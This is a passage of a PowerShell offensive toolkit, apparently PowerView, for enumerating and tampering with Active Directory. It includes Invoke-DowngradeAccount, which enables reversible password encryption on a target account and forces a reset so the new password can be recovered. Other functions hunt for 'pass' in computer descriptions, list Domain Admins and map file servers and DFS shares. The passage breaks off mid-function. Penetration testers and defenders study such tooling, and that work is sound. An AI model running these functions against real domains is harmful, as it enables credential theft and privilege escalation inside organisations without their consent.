            $Entry.$PropertyName.clear()
            $Entry.commitchanges()
        }

        elseif($PropertyXorValue) {
            $TypeName = $Entry.$PropertyName[0].GetType().name

            # UAC value references- https://support.microsoft.com/en-us/kb/305144
            $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue 
            $Entry.$PropertyName = $PropertyValue -as $TypeName       
            $Entry.commitchanges()     
        }

        else {
            $Entry.put($PropertyName, $PropertyValue)
            $Entry.setinfo()
        }
    }
    catch {
        Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_"
    }
}


function Invoke-DowngradeAccount {
<#
    .SYNOPSIS

        Set reversible encryption on a given account and then force the password
        to be set on next user login. To repair use "-Repair".

    .PARAMETER SamAccountName

        The SamAccountName of the domain object you're querying for. 

    .PARAMETER Name

        The Name of the domain object you're querying for.

    .PARAMETER Domain

        The domain to query for objects, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER Filter

        Additional LDAP filter string for the query.

    .PARAMETER Repair

        Switch. Unset the reversible encryption flag and force password reset flag.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS> Invoke-DowngradeAccount -SamAccountName jason

        Set reversible encryption on the 'jason' account and force the password to be changed.

    .EXAMPLE

        PS> Invoke-DowngradeAccount -SamAccountName jason -Repair

        Unset reversible encryption on the 'jason' account and remove the forced password change.
#>

    [CmdletBinding()]
    Param (
        [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]
        [String]
        $SamAccountName,

        [Parameter(ParameterSetName = 'Name')]
        [String]
        $Name,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $Filter,

        [Switch]
        $Repair,

        [Management.Automation.PSCredential]
        $Credential
    )

    process {
        $Arguments = @{
            'SamAccountName' = $SamAccountName
            'Name' = $Name
            'Domain' = $Domain
            'DomainController' = $DomainController
            'Filter' = $Filter
            'Credential' = $Credential
        }

        # splat the appropriate arguments to Get-ADObject
        $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue

        if($Repair) {

            if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") {
                # if reversible encryption is set, unset it
                Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
            }

            # unset the forced password change
            Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1
        }

        else {

            if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") {
                # if the password is set to never expire, unset
                Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536
            }

            if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") {
                # if reversible encryption is not set, set it
                Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
            }

            # force the password to be changed on next login
            Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0
        }
    }
}


function Get-ComputerProperty {
<#
    .SYNOPSIS

        Returns a list of all computer object properties. If a property
        name is specified, it returns all [computer:property] values.

        Taken directly from @obscuresec's post:
            http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

    .PARAMETER Properties

        Return property names for computers.

    .PARAMETER Domain

        The domain to query for computer properties, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-ComputerProperty -Domain testing
        
        Returns all user properties for computers in the 'testing' domain.

    .EXAMPLE

        PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location
        
        Returns all an array of computer/ssn/lastlogin/location combinations
        for computers in the current domain.

    .LINK

        http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
#>

    [CmdletBinding()]
    param(
        [String[]]
        $Properties,

        [String]
        $Domain,

        [String]
        $DomainController,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    if($Properties) {
        # extract out the set of all properties for each object
        $Properties = ,"name" + $Properties | Sort-Object -Unique
        Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties
    }
    else {
        # extract out just the property names
        Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"
    }
}


function Find-ComputerField {
<#
    .SYNOPSIS

        Searches computer object fields for a given word (default *pass*). Default
        field being searched is 'description'.

        Taken directly from @obscuresec's post:
            http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

    .PARAMETER SearchTerm

        Term to search for, default of "pass".

    .PARAMETER SearchField

        User field to search in, default of "description".

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER Domain

        Domain to search computer fields for, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Find-ComputerField -SearchTerm backup -SearchField info

        Find computer accounts with "backup" in the "info" field.
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Term')]
        [String]
        $SearchTerm = 'pass',

        [Alias('Field')]
        [String]
        $SearchField = 'description',

        [String]
        $ADSpath,

        [String]
        $Domain,

        [String]
        $DomainController,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    process {
        Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
    }
}


function Get-NetOU {
<#
    .SYNOPSIS

        Gets a list of all current OUs in a domain.

    .PARAMETER OUName

        The OU name to query for, wildcards accepted.

    .PARAMETER GUID

        Only return OUs with the specified GUID in their gplink property.

    .PARAMETER Domain

        The domain to query for OUs, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through.

    .PARAMETER FullData

        Switch. Return full OU objects instead of just object names (the default).

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetOU
        
        Returns the current OUs in the domain.

    .EXAMPLE

        PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local
        
        Returns all OUs with "admin" in their name in the testlab.local domain.

     .EXAMPLE

        PS C:\> Get-NetOU -GUID 123-...
        
        Returns all OUs with linked to the specified group policy object.

     .EXAMPLE

        PS C:\> "*admin*","*server*" | Get-NetOU

        Get the full OU names for the given search terms piped on the pipeline.
#>

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $OUName = '*',

        [String]
        $GUID,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [Switch]
        $FullData,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {
        $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
    }
    process {
        if ($OUSearcher) {
            if ($GUID) {
                # if we're filtering for a GUID in .gplink
                $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))"
            }
            else {
                $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"
            }

            try {
                $Results = $OUSearcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {
                    if ($FullData) {
                        # convert/process the LDAP fields for each result
                        $OU = Convert-LDAPProperty -Properties $_.Properties
                        $OU.PSObject.TypeNames.Add('PowerView.OU')
                        $OU
                    }
                    else { 
                        # otherwise just returning the ADS paths of the OUs
                        $_.properties.adspath
                    }
                }
                $Results.dispose()
                $OUSearcher.dispose()
            }
            catch {
                Write-Warning $_
            }
        }
    }
}


function Get-NetSite {
<#
    .SYNOPSIS

        Gets a list of all current sites in a domain.

    .PARAMETER SiteName

        Site filter string, wildcards accepted.

    .PARAMETER Domain

        The domain to query for sites, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through.

    .PARAMETER GUID

        Only return site with the specified GUID in their gplink property.

    .PARAMETER FullData

        Switch. Return full site objects instead of just object names (the default).

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetSite -Domain testlab.local -FullData
        
        Returns the full data objects for all sites in testlab.local
#>

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $SiteName = "*",

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [String]
        $GUID,

        [Switch]
        $FullData,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {
        $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize
    }
    process {
        if($SiteSearcher) {

            if ($GUID) {
                # if we're filtering for a GUID in .gplink
                $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))"
            }
            else {
                $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))"
            }
            
            try {
                $Results = $SiteSearcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {
                    if ($FullData) {
                        # convert/process the LDAP fields for each result
                        $Site = Convert-LDAPProperty -Properties $_.Properties
                        $Site.PSObject.TypeNames.Add('PowerView.Site')
                        $Site
                    }
                    else {
                        # otherwise just return the site name
                        $_.properties.name
                    }
                }
                $Results.dispose()
                $SiteSearcher.dispose()
            }
            catch {
                Write-Verbose $_
            }
        }
    }
}


function Get-NetSubnet {
<#
    .SYNOPSIS

        Gets a list of all current subnets in a domain.

    .PARAMETER SiteName

        Only return subnets from the specified SiteName.

    .PARAMETER Domain

        The domain to query for subnets, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through.

    .PARAMETER FullData

        Switch. Return full subnet objects instead of just object names (the default).

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetSubnet
        
        Returns all subnet names in the current domain.

    .EXAMPLE

        PS C:\> Get-NetSubnet -Domain testlab.local -FullData
        
        Returns the full data objects for all subnets in testlab.local
#>

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $SiteName = "*",

        [String]
        $Domain,

        [String]
        $ADSpath,

        [String]
        $DomainController,

        [Switch]
        $FullData,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {
        $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize
    }

    process {
        if($SubnetSearcher) {

            $SubnetSearcher.filter="(&(objectCategory=subnet))"

            try {
                $Results = $SubnetSearcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {
                    if ($FullData) {
                        # convert/process the LDAP fields for each result
                        Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" }
                    }
                    else {
                        # otherwise just return the subnet name and site name
                        if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) {

                            $SubnetProperties = @{
                                'Subnet' = $_.properties.name[0]
                            }
                            try {
                                $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0]
                            }
                            catch {
                                $SubnetProperties['Site'] = 'Error'
                            }

                            New-Object -TypeName PSObject -Property $SubnetProperties
                        }
                    }
                }
                $Results.dispose()
                $SubnetSearcher.dispose()
            }
            catch {
                Write-Warning $_
            }
        }
    }
}


function Get-DomainSID {
<#
    .SYNOPSIS

        Gets the SID for the domain.

    .PARAMETER Domain

        The domain to query, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .EXAMPLE

        C:\> Get-DomainSID -Domain TEST
        
        Returns SID for the domain 'TEST'
#>

    param(
        [String]
        $Domain,

        [String]
        $DomainController
    )

    $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid
    if($DCSID) {
        $DCSID.Substring(0, $DCSID.LastIndexOf('-'))
    }
    else {
        Write-Verbose "Error extracting domain SID for $Domain"
    }
}


function Get-NetGroup {
<#
    .SYNOPSIS

        Gets a list of all current groups in a domain, or all
        the groups a given user/group object belongs to.

    .PARAMETER GroupName

        The group name to query for, wildcards accepted.

    .PARAMETER SID

        The group SID to query for.

    .PARAMETER UserName

        The user name (or group name) to query for all effective
        groups of.

    .PARAMETER Filter

        A customized ldap filter string to use, e.g. "(description=*admin*)"

    .PARAMETER Domain

        The domain to query for groups, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER AdminCount

        Switch. Return group with adminCount=1.

    .PARAMETER FullData

        Switch. Return full group objects instead of just object names (the default).

    .PARAMETER RawSids

        Switch. Return raw SIDs when using "Get-NetGroup -UserName X"

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .PARAMETER AllTypes

        By default we will retrieve only Security, not Distribution Groups.

    .EXAMPLE

        PS C:\> Get-NetGroup

        Returns the current security groups in the domain.

    .EXAMPLE

        PS C:\> Get-NetGroup -GroupName *admin*

        Returns all groups with "admin" in their group name.

    .EXAMPLE

        PS C:\> Get-NetGroup -Domain testing -FullData

        Returns full group data objects in the 'testing' domain
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $GroupName = '*',

        [String]
        $SID,

        [String]
        $UserName,

        [String]
        $Filter,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [Switch]
        $AdminCount,

        [Switch]
        $FullData,

        [Switch]
        $RawSids,

        [Switch]
        $AllTypes,

        [ValidateRange(1,10000)]
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {
        $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
        if (!$AllTypes)
        {
          $Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)"
        }
    }

    process {
        if($GroupSearcher) {

            if($AdminCount) {
                Write-Verbose "Checking for adminCount=1"
                $Filter += "(admincount=1)"
            }

            if ($UserName) {
                # get the raw user object
                $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1

                if($User) {
                    # convert the user to a directory entry
                    $UserDirectoryEntry = $User.GetDirectoryEntry()

                    # cause the cache to calculate the token groups for the user
                    $UserDirectoryEntry.RefreshCache("tokenGroups")

                    $UserDirectoryEntry.TokenGroups | ForEach-Object {
                        # convert the token group sid
                        $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value

                        # ignore the built in groups
                        if($GroupSid -notmatch '^S-1-5-32-.*') {
                            if($FullData) {
                                $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
                                $Group.PSObject.TypeNames.Add('PowerView.Group')
                                $Group
                            }
                            else {
                                if($RawSids) {
                                    $GroupSid
                                }
                                else {
                                    Convert-SidToName -SID $GroupSid
                                }
                            }
                        }
                    }
                }
                else {
                    Write-Warning "UserName '$UserName' failed to resolve."
                }
            }
            else {
                if ($SID) {
                    $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
                }
                else {
                    $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
                }

                $Results = $GroupSearcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {
                    # if we're returning full data objects
                    if ($FullData) {
                        # convert/process the LDAP fields for each result
                        $Group = Convert-LDAPProperty -Properties $_.Properties
                        $Group.PSObject.TypeNames.Add('PowerView.Group')
                        $Group
                    }
                    else {
                        # otherwise we're just returning the group name
                        $_.properties.samaccountname
                    }
                }
                $Results.dispose()
                $GroupSearcher.dispose()
            }
        }
    }
}


function Get-NetGroupMember {
<#
    .SYNOPSIS

        This function users [ADSI] and LDAP to query the current AD context
        or trusted domain for users in a specified group. If no GroupName is
        specified, it defaults to querying the "Domain Admins" group.
        This is a replacement for "net group 'name' /domain"

    .PARAMETER GroupName

        The group name to query for users.

    .PARAMETER SID

        The Group SID to query for users. If not given, it defaults to 512 "Domain Admins"

    .PARAMETER Filter

        A customized ldap filter string to use, e.g. "(description=*admin*)"

    .PARAMETER Domain

        The domain to query for group users, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER FullData

        Switch. Returns full data objects instead of just group/users.

    .PARAMETER Recurse

        Switch. If the group member is a group, recursively try to query its members as well.

    .PARAMETER UseMatchingRule

        Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.
        Much faster than manual recursion, but doesn't reveal cross-domain groups.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetGroupMember
        
        Returns the usernames that of members of the "Domain Admins" domain group.

    .EXAMPLE

        PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users"
        
        Returns the usernames that of members of the "Power Users" group in the 'testing' domain.

    .LINK

        http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $GroupName,

        [String]
        $SID,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [Switch]
        $FullData,

        [Switch]
        $Recurse,

        [Switch]
        $UseMatchingRule,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {
        if($DomainController) {
            $TargetDomainController = $DomainController
        }
        else {
            $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
        }

        if($Domain) {
            $TargetDomain = $Domain
        }
        else {
            $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name
        }

        # so this isn't repeated if users are passed on the pipeline
        $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
    }

    process {
        if ($GroupSearcher) {
            if ($Recurse -and $UseMatchingRule) {
                # resolve the group to a distinguishedname
                if ($GroupName) {
                    $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
                }
                elseif ($SID) {
                    $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
                }
                else {
                    # default to domain admins
                    $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
                    $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
                }
                $GroupDN = $Group.distinguishedname
                $GroupFoundName = $Group.samaccountname

                if ($GroupDN) {
                    $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
                    $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))

                    $Members = $GroupSearcher.FindAll()
                    $GroupFoundName = $GroupName
                }
                else {
                    Write-Error "Unable to find Group"
                }
            }
            else {
                if ($GroupName) {
                    $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
                }
                elseif ($SID) {
                    $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
                }
                else {
                    # default to domain admins
                    $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
                    $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
                }

                try {
                    $Result = $GroupSearcher.FindOne()
                }
                catch {
                    $Members = @()
                }

                $GroupFoundName = ''

                if ($Result) {
                    $Members = $Result.properties.item("member")

                    if($Members.count -eq 0) {

                        $Finished = $False
                        $Bottom = 0
                        $Top = 0

                        while(!$Finished) {
                            $Top = $Bottom + 1499
                            $MemberRange="member;range=$Bottom-$Top"
                            $Bottom += 1500
                            
                            $GroupSearcher.PropertiesToLoad.Clear()
                            [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
                            [void]$GroupSearcher.PropertiesToLoad.Add("samaccountname")
                            try {
                                $Result = $GroupSearcher.FindOne()
                                $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
                                $Members += $Result.Properties.item($RangedProperty)
                                $GroupFoundName = $Result.properties.item("samaccountname")[0]

                                if ($Members.count -eq 0) { 
                                    $Finished = $True
                                }
                            }
                            catch [System.Management.Automation.MethodInvocationException] {
                                $Finished = $True
                            }
                        }
                    }
                    else {
                        $GroupFoundName = $Result.properties.item("samaccountname")[0]
                        $Members += $Result.Properties.item($RangedProperty)
                    }
                }
                $GroupSearcher.dispose()
            }

            $Members | Where-Object {$_} | ForEach-Object {
                # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion
                if ($Recurse -and $UseMatchingRule) {
                    $Properties = $_.Properties
                } 
                else {
                    if($TargetDomainController) {
                        $Result = [adsi]"LDAP://$TargetDomainController/$_"
                    }
                    else {
                        $Result = [adsi]"LDAP://$_"
                    }
                    if($Result){
                        $Properties = $Result.Properties
                    }
                }

                if($Properties) {

                    $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype

                    if ($FullData) {
                        $GroupMember = Convert-LDAPProperty -Properties $Properties
                    }
                    else {
                        $GroupMember = New-Object PSObject
                    }

                    $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
                    $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName

                    if($Properties.objectSid) {
                        $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
                    }
                    else {
                        $MemberSID = $Null
                    }

                    try {
                        $MemberDN = $Properties.distinguishedname[0]

                        if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) {
                            try {
                                if(-not $MemberSID) {
                                    $MemberSID = $Properties.cn[0]
                                }
                                $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple'
                                if($MemberSimpleName) {
                                    $MemberDomain = $MemberSimpleName.Split('@')[1]
                                }
                                else {
                                    Write-Warning "Error converting $MemberDN"
                                    $MemberDomain = $Null
                                }
                            }
                            catch {
                                Write-Warning "Error converting $MemberDN"
                                $MemberDomain = $Null
                            }
                        }
                        else {
                            # extract the FQDN from the Distinguished Name
                            $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
                        }
                    }
                    catch {
                        $MemberDN = $Null
                        $MemberDomain = $Null
                    }

                    if ($Properties.samaccountname) {
                        # forest users have the samAccountName set
                        $MemberName = $Properties.samaccountname[0]
                    } 
                    else {
                        # external trust users have a SID, so convert it
                        try {
                            $MemberName = Convert-SidToName $Properties.cn[0]
                        }
                        catch {
                            # if there's a problem contacting the domain to resolve the SID
                            $MemberName = $Properties.cn
                        }
                    }

                    $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
                    $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
                    $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
                    $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
                    $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
                    $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')
                    $GroupMember

                    # if we're doing manual recursion
                    if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
                        if($FullData) {
                            Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
                        }
                        else {
                            Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
                        }
                    }
                }
            }
        }
    }
}


function Get-NetFileServer {
<#
    .SYNOPSIS

        Returns a list of all file servers extracted from user 
        homedirectory, scriptpath, and profilepath fields.

    .PARAMETER Domain

        The domain to query for user file servers, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER TargetUsers

        An array of users to query for file servers.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetFileServer
        
        Returns active file servers.

    .EXAMPLE

        PS C:\> Get-NetFileServer -Domain testing
        
        Returns active file servers for the 'testing' domain.
#>

    [CmdletBinding()]
    param(
        [String]
        $Domain,

        [String]
        $DomainController,

        [String[]]
        $TargetUsers,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    function SplitPath {
        # short internal helper to split UNC server paths
        param([String]$Path)

        if ($Path -and ($Path.split("\\").Count -ge 3)) {
            $Temp = $Path.split("\\")[2]
            if($Temp -and ($Temp -ne '')) {
                $Temp
            }
        }
    }
    $filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))"
    Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object {
            # filter for any target users
            if($TargetUsers) {
                $TargetUsers -Match $_.samAccountName
            }
            else { $True }
        } | ForEach-Object {
            # split out every potential file server path
            if($_.homedirectory) {
                SplitPath($_.homedirectory)
            }
            if($_.scriptpath) {
                SplitPath($_.scriptpath)
            }
            if($_.profilepath) {
                SplitPath($_.profilepath)
            }

        } | Where-Object {$_} | Sort-Object -Unique
}


function Get-DFSshare {
<#
    .SYNOPSIS

        Returns a list of all fault-tolerant distributed file
        systems for a given domain.

    .PARAMETER Version

        The version of DFS to query for servers.
        1/v1, 2/v2, or all

    .PARAMETER Domain

        The domain to query for user DFS shares, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-DFSshare

        Returns all distributed file system shares for the current domain.

    .EXAMPLE

        PS C:\> Get-DFSshare -Domain test

        Returns all distributed file system shares for the 'test' domain.
#>

    [CmdletBinding()]
    param(
        [String]
        [ValidateSet("All","V1","1","V2","2")]
        $Version = "All",

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    function Parse-Pkt {
        [CmdletBinding()]
        param(
            [byte[]]
            $Pkt
        )

        $bin = $Pkt
        $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
        $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
        $offset = 8
        #https://msdn.microsoft.com/en-us/library/cc227147.aspx
        $object_list = @()
        for($i=1; $i -le $blob_element_count; $i++){
               $blob_name_size_start = $offset
               $blob_name_size_end = $offset + 1
               $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)

               $blob_name_start = $blob_name_size_end + 1
               $blob_name_end = $blob_name_start + $blob_name_size - 1
